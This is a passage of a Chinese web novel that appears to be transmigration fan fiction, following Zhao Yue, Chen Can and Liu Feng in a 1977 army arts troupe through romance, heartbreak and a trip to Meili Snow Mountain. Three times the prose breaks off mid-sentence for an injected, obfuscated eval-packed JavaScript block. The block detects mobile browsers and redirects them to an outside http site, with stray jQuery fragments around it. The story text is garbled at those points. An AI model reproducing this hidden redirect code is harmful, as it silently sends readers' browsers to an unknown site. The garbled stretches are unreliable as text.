身后的道具箱、堆叠的舞衣、散落的彩带一一被甩在身后,越往深处走,光线越柔和,也越安静,仿佛整个世界都被隔绝在外,只剩下他们两个人。
他带着她缓缓后退,直到后背抵上仓库冰冷的墙壁,微凉的墙面与身前滚烫的体温形成鲜明的对比,让兆悦下意识地往他怀里贴了贴。
兆悦抬起手臂,柔软的指尖轻轻搭上他的脖颈与肩膀,指腹蹭过他温热的肌肤,动作温柔又亲昵。
陈灿低头望着她,喉结轻轻滚动,目光牢牢锁在她的脸上,一刻也舍不得移开。
“你真好看。”他哑着嗓子开口,语气里全是藏不住的心动。
兆悦眼底笑意更深,抬手轻轻勾住他的衣领,微微仰头,撩拨:“那你告诉我,有多好看?”
陈灿被她这一句轻飘飘的反问,逼得整根神经都绷紧了。
仓库里只剩那盏罩着红布的灯,昏昏的暖光落在兆悦脸上,把她眼尾那点笑意映得勾人。
她指尖还勾着他的衣领,微微往自己这边一带,两人之间的距离瞬间近得不能再近。他能清晰闻到她身上淡淡的香气,混着莫名的香味,一股脑往他鼻腔里钻。
理智在这一刻彻底断线。
他再也克制不住,手臂猛地收紧,将她整个人牢牢按向自己。
兆悦被他这突如其来的力道带得轻呼一声,整个人贴在他身前,无处可躲。
陈灿低头,呼吸交缠在一起,滚烫又急促。
他的目光死死落在她脸上,从眉眼滑到鼻尖,最后停在她微微抿起的唇上,再也挪不开。
“你非要这么问。”他声音哑得厉害,每一个字都像从喉咙里滚出来,“我怎么说得完。”
兆悦仰着脸看他,眼底笑意未消,指尖还在轻轻摩挲他后颈的皮肤。
那一下下轻得像羽毛,却每一下都挠在他最敏感的地方。她明明什么都没做,只是这样看着他,就让他浑身紧绷,心跳乱得一塌糊涂。
“说不完也要说。”她微微抬了抬下巴,语气带着逗弄,“我想听。”
陈灿喉结狠狠滚动了一下。
他再也忍不住,低头靠近,鼻尖轻轻蹭过她的脸颊,一路蹭到她耳边。声音压得极低,只让她一个人听见:“好看得……我不敢多看。好看得……人多的时候,我只能装不在意。好看得……现在就想把你藏起来,谁也不给看。”
温热的气息扫过她耳尖,兆悦身子轻轻一颤,手臂不自觉地往上攀,更紧地环住他的脖颈。
陈灿的手掌稳稳托在她后腰,将她更贴地拥在怀里。她裙摆只到大腿中间,双腿微微屈起,脚尖轻轻点着地面,整个人几乎半倚在他身上。
墙面冰凉,他的体温却滚烫,两种温度撞在一起,让她整个人都发软。
“刚才人那么多,”他贴着她的耳朵,慢慢开口,“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309158|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一进来,我眼睛就没从你身上挪开过。”
兆悦轻轻咬了咬下唇,声音轻得像叹息:“你不是没什么反应吗?”
“那是装的。”他低声笑,笑声闷在她颈间,震得她皮肤发麻,“我再不装样子,当场就控制不住了。”
他说话时,下巴轻轻抵在她肩窝,呼吸一遍遍扫过她的肌肤。
兆悦被他弄得发痒,下意识往他怀里缩,这一动,反而贴得更紧。
陈灿身子一僵,手臂收得更牢,几乎要将她嵌进自己怀里。
红布灯的光在地上投出两道交叠的影子,安静的仓库里,只剩下两人浅浅的呼吸声。
陈灿慢慢抬起头,目光重新落回她脸上。
他看着她微微泛红的脸颊,看着她轻轻颤动的眼睫,看着她被红光映得格外柔和的唇。
他的拇指轻轻抚过她的脸颊,动作轻得不像话,像是在触碰一件一碰就碎的宝贝。
“兆悦,”他轻声喊她的名字,“你知不知道,你这样站在我面前,我有多难受。”
“哪里难受?”她仰着头,轻声问。
“哪里都难受。”他低头,额头再次抵着她,“眼睛想一直看着你,手想一直抱着你,整颗心都悬在你身上,放不下来。”
兆悦看着他眼底翻涌的情绪,那里面全是她的影子,再也容不下别的东西。
她心里一软,指尖轻轻捏住他的耳垂,轻轻晃了一下。
“那你还等什么?”
陈灿被她轻挑的反问,彻底逼到了临界点。
他手臂猛地一收,把她扣进怀里,力道大得像是要把她整个人揉进自己骨血里,不留一丝空隙。
兆悦被他这股狠劲撞得轻喘一声,非但没退,反而双臂一圈,死死缠上他的脖颈,指尖扣进他后颈的皮肤,用最直接的方式告诉他——她也在等。
他低头,吻得没有半分犹豫。
压抑到爆炸后的冲撞,滚烫、急切、带着快要撑破胸膛的力道,狠狠覆住她的唇。
兆悦仰起头迎上去,舌尖轻轻一应,那一下就够了。
陈灿整个人都绷紧了,呼吸瞬间乱得不成样子,胸口剧烈起伏,连肩膀都在发颤。
他一手死死扣在她后腰,指节泛白,另一只手穿过她的发丝,按住她的后脑,不让她有半分退开的余地。
吻越来越深,越来越重,唇齿间全是彼此的气息,乱得发烫。仓库里那层暖红光落在她身上,照得她肌肤泛着浅淡的光,裙摆下露出的线条干净又晃眼。
陈灿的视线不受控制往下落,只一眼,他整个人就彻底疯了。
他看见她微微泛红的脸颊,看见她轻颤的眼睫,看见她被他吻得发软的模样,看见这身衣服衬得她整个人连呼吸都勾人。
一眼,把他最后一点理智彻底烧干净。
他的手顺着她的后腰缓缓往上,掌心贴着她的背,指腹轻轻一收,力道带着克制不住的颤抖。
兆悦身子轻轻一颤,回应得更紧,吻得更深,像是在纵容他,又像是在撩他。
她被夹在他与墙之间,退无可退,只能牢牢攀着他。
陈灿低头,唇从她唇瓣缓缓下移,蹭过她下颌,落在她颈侧,轻轻一吮。
兆悦忍不住轻喘一声,在安静的仓库里格外清晰。
77. 碎裂
这一切都让他失控。
陈灿浑身猛地一僵,喉结剧烈滚动,呼吸粗重得像要冲破胸膛。
他整个人绷到了极致,再也按捺不住心底的冲动,手掌直接贴上她的腰侧,带着颤抖缓缓摩挲。
他滚烫的呼吸尽数洒在她脸上,视线牢牢锁在她泛红的眉眼与唇瓣上,每一寸都舍不得放过。
仓库里暖红的光落在她身上,勾勒出动人的线条,他只多看一瞬,浑身的血液便疯狂往上涌,几乎要将理智彻底烧尽。
“兆悦……”
他哑着嗓子开口,声音发颤,是情到深处再也藏不住的呢喃,“我真的……”
话音未落,唇再次覆上去,吻得急切又滚烫。
兆悦闭着眼,双臂紧紧缠在他颈后,指尖深深陷进他发烫的皮肤,没有多余的话,只在唇齿相离的间隙,带着轻喘,轻轻吐出三个字:“别忍了。”
这三个字,轻得像羽毛,却瞬间击垮了陈灿最后一道防线。
他浑身的紧绷几乎要溢出来,手顺着她的腰侧往下滑,指尖轻轻贴在她大腿的边缘,隔着薄薄的衣料,带着小心翼翼的试探,又带着濒临崩溃的贪恋。
他的动作越来越沉,越来越烫,掌心的温度烫得兆悦浑身发软,连指尖都开始发颤。
她微微踮起脚尖,双腿下意识地往他腰侧靠了靠,整个人贴得他更紧,像是在迎合他,又像是在主动点燃这团火。
仓库里只剩下两人粗重的呼吸声,交织在一起,越来越乱,越来越灼热。
陈灿的手在她身上缓缓游走,从腰侧到后背,从肩颈到大腿,每一处触碰都带着滚烫的力道,每一次摩挲都让两人的呼吸更加急促。
他低头看着她,看着她泛红的脸颊,看着她轻颤的眼睫,看着她被自己吻得发软的模样,眼底的滚烫几乎要溢出来。
他的手轻轻抚过她的脸颊,指尖带着颤抖,轻轻拂去她唇角的发丝,动作里满是贪恋,又满是克制。
“我……”
陈灿张了张嘴,声音沙哑得厉害,连他自己都听不清,只能低头,在她耳边轻轻呢喃,“我想……再靠近一点……”
兆悦睁开眼,眼底蒙着一层水光,看着他近在咫尺的脸,感受着他身上滚烫的温度,轻轻点了点头,指尖顺着他的后背往下滑,轻轻勾住了他的衣角。
陈灿的手顿了顿,却没有收回。
掌心慢慢贴上她的腰侧,指腹隔着薄薄的衣料轻轻摩挲,感受着那柔软的弧度。
他的呼吸越来越乱,能清晰感受到她同样急促的起伏。
他的视线垂落,落在她泛红的眼尾,目光沉得快要滴出水来,指尖顺着腰侧轻轻一勾。
兆悦没有推开他,只是轻轻吸了一口气,鼻尖蹭过他的下颌,带着一点细微的颤意。
她的手顺着他的后背缓缓下滑,轻轻勾住他的衣角,微微一带,像是在默许,又像是在把他往更靠近的地方带。
暖红的灯光晕在两人身上,空气烫得几乎要燃烧起来。
就在这濒临失控的一秒——两人像是同时被什么惊醒一般,动作猛地一顿。
刚才还紧紧相贴的两人,在这一瞬,默契地、同时地退开了一步。
空气瞬间安静下来。
只剩下两人依旧急促、凌乱、带着余颤的呼吸,在仓库里轻轻回荡。
暖红光依旧。
陈灿垂在身侧的手紧紧攥起,指节泛白,浑身还残留着未散的颤抖,耳根与脸颊依旧通红,眼底却已经褪去了滚烫,只剩下慌乱、无措,还有深深的自责。
他不敢看她,喉结狠狠滚动了一下,声音哑得破碎,带着浓重的愧疚与不安,低低开口:“……对不起。”
“我刚才……没控制住。”
兆悦靠在冰冷的墙上,微微垂着眼,呼吸依旧不稳,脸颊泛着未褪的绯红,长长的睫毛轻轻颤动。
她没有说话,只是轻轻抬手,按了按自己发烫的唇角,又慢慢抚平了自己微乱的衣摆,一点点平复着心底翻涌的情绪。
沉默片刻,两人忽然不约而同地轻轻笑了一下。
自那一次之后,两人便很少再单独见面,彼此都心照不宣——再靠近,只怕谁也控制不住。
郝淑雯借来了录音机,连着两天,几个人都新鲜得很,翻来覆去听个没完。
对从现代来的兆悦来说,这种老机器实在算不上什么,那些年代久远的歌,她也没什么想听的兴致。
倒是萧穗子,那天对着录音机摆弄了许久造型,就盼着在昏昏暗暗的灯光里,能让陈灿多看自己一眼。
可她很快就察觉到,陈灿的目光根本没在她身上,也没在穿红裙的兆悦身上,更没落在屋里任何一个人身上。
萧穗子心里又闷又涩,忍不住暗自较劲:陈灿心里到底装着谁?难道不是她们宿舍的人?
这文工团里,还能有谁,比她们宿舍三个姑娘更招人?
她越想越闷,每次接过陈灿的录音机,指尖都忍不住轻轻摩挲,像是在摸着一段没处安放的心事。
这天,刘峰拿着信来找萧穗子,刚巧碰到回来的林丁丁。
他心里一动,正要开口,想邀林丁丁一起去舞美组仓库,看看他新打好的沙发,请她去坐一坐。
话还没说出口,兆悦正好走了进来。
林丁丁一见,立刻没了耐心,敷衍两句就转身跑到隔壁屋凑热闹聊八卦去了,半点没留意到刘峰眼里的失落。
等人走后,兆悦看着刘峰那副模样,轻轻叹了口气。
她没有劝,也没有拦,只是平静地,把林丁丁在文工团里的那些过往、那些旁人看不清的心思、甚至她骨子里的轻浮与凉薄,一五一十、原原本本地告诉了刘峰。
她说得很细,却不带评判,只把真相摊开在他面前。
最后,兆悦只轻轻说了一句:“我都告诉你了,信不信,怎么做,你自己决定。”
刘峰起初心里本能地抗拒,一点也不想听见关于林丁丁半分不好的话。
可兆悦说得平静又客观,没有添油加醋,更没有半点儿抹黑的意思,他慢慢回过神——她根本没有骗他的理由。
那些失望、难受、酸涩,一股脑堵在胸口,压得他喘不过气。
情绪翻涌到极点,他几乎是狼狈地落荒而逃。
兆悦没有再追上去逼他,也没有多说一句,只是安静地看着他离开。
从那天起,刘峰整个人都沉默了许多。
那套他满心欢喜、亲手打好、原本想给林丁丁坐一坐的沙发,也被他提早送给了马超群,像是要把那一段没说出口的心思,一并送走。
1977年的夏天,蝉鸣聒噪,热气漫过文工团的每一个角落。
许多人的十九岁、二十岁,都在这一年里被轻轻揉碎——有人心碎,有人迷茫,有人悄悄相爱,有人把心动藏在不敢触碰的心底。
兆悦把那条只在少数人面前穿过的红裙仔细叠好,收进了箱底。
她没有扔,只是眼下的场合与身份都不再适合穿起它,而裙角藏着的那段回忆,她也舍不得丢掉。
在第二次劝说刘峰依旧无果后,兆悦终于狠下心,主动让刘峰悄悄躲在舞美组仓库的后方,让他亲耳听听,他心心念念的人,到底是怎么看待他的。
仓库里,郝淑雯就最先凑了上来,她向来最关心这些儿女情长,一开口就带着打趣的笑意。
“丁丁,你最近跟那个摄影干事怎么样了?好久没见你们一块儿了。”
林丁丁不屑地翻了个白眼,语气轻飘又冷淡:“哎哟,这都是哪一年的黄历了,早都不是了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309159|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
躲在暗处的刘峰心口一沉,眼前那个曾经让他满心欢喜的人,一点点变得陌生,直至面目全非。
兆悦状似无意地环顾一圈,笑着开口:“怎么没看见刘峰啊?该不会,他就这么把舞美组的地方让给你了?”
林丁丁脸上一僵,立刻嗔怪道:“你别胡说八道,净胡闹。”
她顿了顿,刻意抬高声调,撇清得干干净净,“那可是活雷锋。”
兆悦顺着她的话,平静地反问:“活雷锋怎么了?活雷锋也是人啊。”
林丁丁的脸色微微一变,眼神里掠过一丝不自在与轻慢,语气淡得像在拒绝一件根本不该被提起的事,带着本能的排斥,又说不出的别扭:“不行的……活雷锋就该是活雷锋,他可不行。”
这句话不重,却像一根细针,轻轻扎进刘峰心里。
是个人,听了这般疏离又不以为然的话,都该彻底心死了。
这件事之后,兆悦立刻找到了失魂落魄的刘峰。
她怕他钻牛角尖,怕他一时冲动犯下傻事,更怕他因此走上那一条注定悲惨的人生路。
可她万万没有想到,刘峰望着远处,眼神空洞却又固执地说:“如果能陪在林丁丁身边,哪怕只是远远看着,能照顾到她就够了。就算被处分,我也愿意。”
那一刻,兆悦所有的心疼与担忧,全都化作了压不住的怒火与失望。
她抬手,一巴掌不轻不重地落在了刘峰脸上。
声响落下,两人同时僵住。
兆悦瞬间就后悔了,指尖微微发颤,心里又酸又涩。
可这一巴掌,却也真真切切打醒了刘峰。
他怔怔地站在原地,终于意识到,自己刚才的话有多卑微,有多离谱,有多不值。
他抬眼看向兆悦,声音沙哑又愧疚:“对不起……我辜负了你的一番好意。”
兆悦心里同样不好受,也为自己那一巴掌懊悔不已。
她知道刘峰平日里爱听陈灿的录音机,想着把机子拿到手送给他,让他散散心,也算赔个不是。
思来想去,她转身去找了陈灿。
见到陈灿的那一刻,兆悦没有隐瞒,语气里带着几分愧疚与无奈,细细把事情说了出来。
“陈灿,我有件事想求你。”
“刘峰他……一直喜欢林丁丁,可你也看见了,林丁丁心里根本没有他。他是多好的一个人,善良、仗义,我真的不想看他因为这件事毁了自己,太可惜了。”
“我劝了他好多次,他都听不进去,还说处分都愿意,我就一时没控制住脾气,伸手打了他一巴掌,现在我心里特别不是滋味。”
她顿了顿,眼神带着一点不好意思,语气也轻了些:“我知道他最喜欢听你那台录音机,所以想请你把它给我,我拿去送给刘峰,让他听听歌,心里能好受一点,也算我跟他赔个不是。”
陈灿一直安静地听着,目光自始至终都落在她的脸上,看着她眉头轻蹙、满心自责的模样,眼底的神色早软了下来。
兆悦既然开了口,他本就没有拒绝的道理。
等她把话说完,陈灿才微微抬了抬眼,唇角勾起一抹极淡、却带着几分狡黠的笑意,声音低沉:“给你可以,你想要,我什么时候不肯过。”
兆悦刚松了口气,准备道谢,就听见他往前微微倾了倾身,语气里带着只有两人能听懂的暧昧与打趣。
“不过,不能白给。”
“你得给我补偿。”
兆悦微微一怔,脸颊莫名有些发烫,抬眼看向他:“补偿?什么补偿?”
陈灿望着她眼底的慌乱与疑惑,笑意深了几分,声音轻得像夏日傍晚的风,带着点坏笑,又带着一点认真:“怎么换……你慢慢想。”
“录音机,不用她们还给我了,直接拿去就好。”
78. 峰回
等兆悦从郝淑雯几人手里把录音机拿走、直接送到刘峰手上时,一群人彻底惊住了。
“陈灿发什么疯?那么宝贝的录音机,说给就给刘峰了?”
“不对劲,这里面绝对有事!”
几人围着兆悦刨根问底,她心里清楚得很,嘴上却只能含糊过去,轻轻撇了撇嘴:“谁知道呢,大概良心发现了,感谢活雷锋平时总帮大家忙呗。”
这话谁听了都不信,可再怎么追问,兆悦都笑着打岔。
转头去问陈灿,他也只是眉眼弯了弯,一句话都不多说,神秘得让人抓不住头绪。
没有人知道,录音机送出的那一刻,兆悦已经悄悄答应了陈灿什么样的补偿。
这天晚上,杭春明没有和何小萍出现在排练厅,何小萍这几天身子不舒服,一直待在寝室休息。
空荡荡的排练厅,反倒成了陈灿和兆悦两个人的地盘。
夜色安静,月光从窗棂斜斜洒进来,落在地板上,晕开一片温柔的光影。
兆悦抬手轻轻碰了碰还有些发麻的嘴唇,抬眼便哀怨地瞪着眼前的始作俑者,眼底又羞又恼。
她对录音机这种老古董本就没什么稀罕的,可在这个年代,那东西确确实实是个宝贝。
陈灿会舍得把自己视若珍宝的机子拱手让给刘峰,完完全全是看在她的面子上。
可是……但是!
就算是补偿,就算是兑现承诺,也不能这么个亲法吧。
而始作俑者陈灿,只是懒懒靠在墙边,指尖漫不经心地蹭了蹭唇角,眼底盛着笑意。
他没半点愧疚,反倒看得津津有味,目光黏在她泛红的唇角,带着几分得逞,又带着几分藏不住的喜欢。
见她一脸又羞又恼的模样,他才低低笑了一声,声音哑得好听,在安静的排练厅里格外清晰。
“怎么,委屈了?”
他慢慢朝她走近一步,目光落得认真,“我可是把最宝贝的东西都送出去了,收点利息,不过分吧。”
兆悦被他看得心跳乱了节拍,刚想开口反驳,就听见他又轻轻补了一句,慢腾腾、却字字敲在心上:“再说了,只准你在我心里闹,不准我亲一下?”
兆悦斜斜抬眼瞪他,语气里带着嗔怪,又藏着一丝藏不住的软意:“你现在说这些话的本事见长啊,脸不红心不跳的。”
陈灿低低笑出声,脚步轻缓地朝她走近一步,距离骤然拉近,气息都缠在了一起。
自从那次抗洪之后,刘峰就知道了陈灿和兆悦之间的事,两人也没再特意瞒他。
此刻看着录音机被送到自己面前,刘峰心里立刻就明白了——这一定是兆悦为了给之前那一巴掌赔礼道歉,特意从陈灿那里要来的。
这么金贵的东西,他哪里好意思收,连忙摆手推辞:“不行不行,这太贵重了,我不能要。”
兆悦却往前递了递,语气干脆:“没事,这已经不是他的了,是我的了。”
她心里默默叹气:你是不知道我为了这台录音机付出了什么。
可嘴上只轻轻道:“反正现在是我的,我说给你,就给你。”
刘峰看着她坚持的模样,终究还是收下了。
其实他从来就没真正计较过那一巴掌,心里早放下了。
只是兆悦自己过意不去,总想着要好好补偿他一回。
这件事情之后,刘峰还是老样子,依旧默默关注着、照顾着林丁丁,只是那份心思藏得更深,情感也压抑得更厉害了。
几场暴雨接连落下,空气里的燥热一点点散去,天气渐渐转凉。
1977年的夏天,就这样悄无声息地过去了。
第一片秋叶发黄,秋天便来得飞快。
杭春明和朱克在宿舍抽烟打牌,正巧被政委查寝逮个正着。
据说被抓时,杭春明嘴里还一叼两支烟,模样滑稽,当场被狠狠批评了一顿。
何小萍听说后,索性直接不理他了。杭春明这才老老实实开始改,只是看那模样,烟瘾怕是一时半会儿也戒不掉。
没多久,文工团便出发前往云南德钦梅里雪山,去慰问即将解散的骑兵团。
路程才走一半,气温就骤降下来,军大衣和军帽不得不早早裹上。
车上,兆悦每天都缩在最里面,把自己蜷成一小团,懒怠得一动也不想动。
陈灿倒是兴致不错,和其他几个男兵凑在一起打牌玩闹,一路热闹。
何小萍靠在兆悦身边,态度明明白白——不许杭春明靠近。
杭春明没辙,只能像个受委屈的小媳妇似的,蔫蔫地挤去陈灿旁边待着。
这副模样可把陈灿恶心出一身鸡皮疙瘩,偷偷凑过去笑他:“这下好了,大烟民被人嫌弃了吧。”
兆悦坐在角落,目光落在打牌的陈灿身上,思维却不受控制地发散开来。
看着他出牌、算分、说笑的样子,她心里莫名嘀咕:怎么看着这么市侩呢?
一想到电影里他最后选择郝淑雯的那副嘴脸,她心里的气就不打一处来。
正巧陈灿隔着人群,频频朝她这边望过来。
兆悦毫不客气,冷冷翻了一个大大的白眼,转头看向窗外。
陈灿当场懵了,满脸委屈,一头雾水——他明明什么也没做,怎么又惹她不高兴了?
这一幕恰好被杭春明看在眼里,他哪里会不明白,悦儿姐的心思向来跳脱,指不定又想到哪去,自己跟自己生闷气了。
他当即吐出一口浊气,对着陈灿得意扬扬地挑眉,把之前陈灿调侃他的话原封不动奉还:“啧啧啧,陈灿,你还是差我点。”
那副嘚瑟的样子,简直欠揍。
陈灿没办法,只能拉着杭春明好一通央求,还答应接下来的物资全由他帮忙搬,好给杭春明腾出时间哄何小萍。
杭春明这才松口,凑近他耳边小声透露:“悦儿姐最讨厌的就是打牌了,尤其是男人打牌。”
陈灿听完,瞬间恍然大悟。
后面两天,兆悦倒是觉得有些奇怪,平日里爱热闹的陈灿,竟然再也没凑过人群打牌,连牌盒子都没再碰过。
她也没多想,只当是他自己玩腻了,懒得再凑那个热闹。
可他却偏偏挪到了她的对面坐下,安安静静地望着她。
兆悦心里还憋着那点没来由的气,索性偏过头,依旧不想理他。
就在她垂着眼、假装看窗外风景的时候,对面忽然递过来一道温柔的视线。
兆悦狐疑地抬眼,却看见陈灿两只手轻轻一合,对着她,认认真真、略带笨拙地比了一个爱心手势。
那动作,还是当年她在演出路上哄他时用过的样子。
如今竟被他原样学了回来,认认真真,做给她看。
兆悦的心猛地一跳,脸上瞬间就热了。
这家伙,到底是从哪儿想起来的这些……
直到车队抵达梅里雪山脚下,众人纷纷拎着行李往下跳,喧闹声一下子涌进车厢。
陈灿刚下车就被喊去帮忙搬物资,兆悦却还缩在原来的位置磨蹭,天寒地冻,一路颠簸累得骨头都散了架,她是半分力气都没有,动都不想动。
最后一趟物资搬完,其他人都去赶搭舞台,只有陈灿一个人折返回来。
一上车,果然看见兆悦还懒懒散散地窝在角落里,像只不肯挪窝的小猫。
他放轻脚步走过去,放软了声音哄她,细细描绘着外面的景色。
“出来看看吧,外面的雪山,是从没见过的好看。”
兆悦抬眼瞧他,声音软乎乎的,带着十足的撒娇意味:“能有多漂亮嘛?再说了,好冷。”
那一腔娇软的语调落进耳朵里,陈灿的心瞬间化得一塌糊涂。
他在她面前蹲下身,目光温柔得能滴出水:“真的不出来?”
兆悦轻轻摇了摇头,小声坚持:“不出来。”
四下空无一人,风声在车外静静流淌。
陈灿抬眼飞快扫了一眼四周,确认没人靠近,伸手轻轻扶着她的侧脸,飞快低头在她唇上印了一个轻浅的吻。
兆悦吓得瞬间睁大眼睛,伸手轻轻捶了他两下,又羞又急。
陈灿低低笑出声,顺势握住她的手,一点点将她拉起来。
直到双脚落地前的最后一刻,两人才悄悄松开紧握的手。
一踏下车门,兆悦瞬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309160|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间忘了冷,忘了累,忘了所有的小脾气。
陈灿没有骗她,更没有半句夸张。
雪山就那样静静矗立在天地之间,峰顶终年不化的积雪被天光染成一层淡淡的金辉,云层在山腰缓缓流动,洁白、辽阔、庄严又温柔。
远山如黛,近雪如玉,空气清冽得像一捧碎冰,天地辽阔到让人心里所有的褶皱都被轻轻抚平。
蓝是最干净的蓝,白是最纯粹的白,一眼望去,仿佛连灵魂都被这雪山静静洗净。
真的,美得让人失语。
这一刻,兆悦仿佛被整个世界隔绝开来。
脚下的寒意还在,可心里的那点躁动与不满,却被眼前的景象一点点抚平,甚至彻底遗忘。
时代的落后,周遭的趋利避害,人与人之间那些微妙的隔阂、友情里的试探、爱情里的纠结、亲情中的负重……一切的一切,都在这一座雪山面前,变得微不足道,甚至被彻底从思绪里剔除。
眼前是梅里雪山。
峰顶刺破苍穹,洁白得不染一丝尘埃,在天光下静静流淌着一种近乎神圣的光。
山峦连绵,像沉默的巨人,庄严肃穆地伫立在天地之间,不问岁月,不语沧桑。
山风掠过,带着冰雪的清冽与辽阔的寂静,将所有的情绪都轻轻吹散,只余下一片纯粹的震撼。
只要站在那里,呼吸都会微微停滞。
她忽然觉得,自己这一路走过的颠簸、委屈、不甘、纠结,在这座雪山面前,都算不上什么。
她的生命,她的灵魂,仿佛在这一瞬间,被眼前的山与雪轻轻托举起来,又缓缓安放进去。
她把这一分钟的自己,完完全全献给了这座雪山。
献给这片被祖国怀抱紧紧守护的山河。
这一刻,她不再是任何一个人,只是天地间一个渺小却虔诚的旁观者,静静站立在这片辽阔与庄严面前。
世界安静得只剩下风声。
而她的心,却前所未有地澄澈与完整。
风拂起她额前碎发,眉眼轻抬,目光落在远处连绵的雪峰上,澄澈得像被雪水洗过。
天地间只剩一片干净的白与蓝,她站在其中,安静、虔诚,仿佛与这雪山融为一体。
而陈灿站在她身侧半步远的地方,没有看山,没有看云,眼里自始至终只有她。
他望着她微微发亮的眼神,望着她被风雪染得微红的脸颊,望着她忘神时轻轻舒展的眉尖,连呼吸都放轻了。
雪山再壮阔,再神圣,也不及她此刻眼底的光。
兆悦把一分钟的灵魂献给了雪山,陈灿却把这一整段时光,完完整整地,献给了她。
彩排走台时,意外猝不及防地发生了——卓玛脚下一滑,重重跌在地上,膝盖结结实实地磕在硬实的台板上,疼得瞬间皱紧了眉。
兆悦站在一旁,看着这熟悉得刺眼的一幕,心神猛地一晃,恍惚间竟像是被拉回了那段早已刻在心底的画面。
她清清楚楚记得,电影里的这场演出,也是这般开场。
那时的何小萍,因刘峰被人冤枉构陷、发往伐木连,早已对周遭一切心灰意冷,对整个文工团都彻底失望。
面对临时替演的要求,她态度生硬地推脱,可最后还是被逼着上台。
明明完成得极好,演出一结束,便被政委以“自愿请命”为名,不打招呼,直接派去前线做了战地护士,从此踏入了另一段颠沛坎坷的命运。
可这一次,一切都不一样了。
刘峰好好地在身边,没有被冤枉,没有被发配,更没有落得孤苦无依的下场。
何小萍也没有理由心冷,没有理由绝望,眼底依旧藏着属于她的期待和倔强。
此刻卓玛意外受伤,她的角色需要有人顶上,分队长自然记得兆悦的脚伤,顺理成章地落到了何小萍身上。
兆悦望着被人扶起的卓玛,又看向一旁安静站着的何小萍,心里轻轻一松。
这一次,没有被迫,没有心寒,没有暗藏的算计与冰冷。
何小萍愿意替演,兆悦也真心实意地为她高兴。
命运的轨迹,终于在这一刻,悄悄转了个温柔的弯。
79. 稳定
这一次,除了兆悦,谁也没有察觉,何小萍的人生,已经在无声之中悄悄转了向。
而这,也成了她和刘峰人生翻天覆地变化的开端。
演出一如既往地完美。
何小萍没有半分抵触,每一个动作都舒展到位,尤其是那些她靠无数汗水练出来的翻转,干净利落,稳得让人惊艳。
台下掌声雷动,谁都看得到她眼里的认真与欢喜。
可在高原上待的这两个星期,最受折磨的人,反倒成了兆悦。
电影里的何小萍,高反是装出来的;可兆悦,是真真切切地栽在了高原反应上。
她每天昏昏沉沉缩在帐篷里,几乎不怎么出去,还发着低烧,头晕气短,连说话都觉得费力。
陈灿看在眼里,急在心里,可兆悦只是蔫蔫地蜷着,像株被霜打了的小草,连抱怨的力气都没有。
没有人知道,兆悦一边忍着难受,一边在心里轻轻庆幸。
还好,这一次,何小萍不用再假装生病、不用再心冷如冰。
她的人生,终于不用再照着旧剧本,走向那场无人怜惜的风雪。
陈灿的小号越吹越没劲,音符飘在半空都带着散神。
兆悦就在他身后的营帐里,发着低烧、高反难受,虚弱得连话都不怎么说了,他怎么可能沉下心吹奏。
郝淑雯听着听着就笑出了声:“我说陈灿,你这独奏号手今天怎么回事?调子都快飘到雪山上去了。”
“飘怎么了,又没吹错。”陈灿嘴硬回顶。
“还嘴硬?你这心思根本不在乐队上。”
“我心思在哪用不着你管。”
两人一言不合又要呛起来,萧穗子连忙上前打圆场,两边劝了几句。
郝淑雯看着萧穗子总是这样护着陈灿,心里那点不痛快又悄悄沉了下去。
陈灿自己也清楚,自从和兆悦在一起后,他整个人都变了。
之前两人分开那段日子,他除了难过、装没事,剩下的时间就死磕小号,什么都不想干。那时候他还奇怪,没在一起之前天天都怎么过的,怎么现在没了她,日子就空得发慌。
也正是那阵子疯练,让他硬生生顶成了乐队的独奏小号手。
可现在,独奏的位置坐着,心却一直往营帐里飘。
政委多老辣,早从蛛丝马迹里看出了七八分。
陈灿是副司令的儿子,什么背景不用多说,兆悦也不差——父亲从一师副政委破格升到了师长,家里肯定有门路,母亲在商务局,家世相当,人又都出色。
只要不过分,年轻人相处相处,他睁一只眼闭一只眼也就过去了。
不过他哪里知道,这俩早就在一起了,排练厅后台都成秘密根据地了。
于是政委借着排练,当众淡淡开口:“陈灿,高原反应吗?今天状态不行啊,小号先换个人上。你正好去照顾一下高原反应严重的队员。”
换作以前,让独奏号手去照顾病号,陈灿铁定不乐意,面子上也挂不住。
可现在不一样——兆悦在里面。
他几乎是立刻应声:“是。”
郝淑雯看着他二话不说、转身就往帐篷钻的积极劲儿,忍不住又打趣:“可以啊陈灿,现在让你照顾人都这么起劲了?”
陈灿头也不回,只丢下一句:“管好你自己。”
